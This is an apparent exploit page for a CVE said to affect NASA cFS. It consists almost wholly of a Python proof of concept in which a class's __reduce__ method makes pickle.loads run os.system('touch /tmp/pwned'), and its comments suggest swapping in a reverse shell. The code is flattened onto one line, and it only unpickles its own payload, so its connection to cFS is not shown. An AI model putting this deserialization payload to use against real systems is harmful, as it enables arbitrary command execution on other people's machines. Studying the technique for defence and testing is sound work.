CVE-2026-5473 NASA cFS反序列化漏洞

import pickle import os # Define a malicious class that executes a command upon deserialization class ExploitPayload: def __reduce__(self): # The payload to be executed: e.g., creating a file or running a shell command # In a real attack scenario, this could be a reverse shell script return (os.system, ('touch /tmp/pwned',)) # Serialize the malicious object malicious_data = pickle.dumps(ExploitPayload()) # Simulate the vulnerable behavior in NASA cFS Pickle Module # The application blindly calls pickle.load on untrusted data print("[+] Simulating deserialization of untrusted data...") try: pickle.loads(malicious_data) print("[+] Exploit executed successfully.") except Exception as e: print(f"[-] Error during execution: {e}")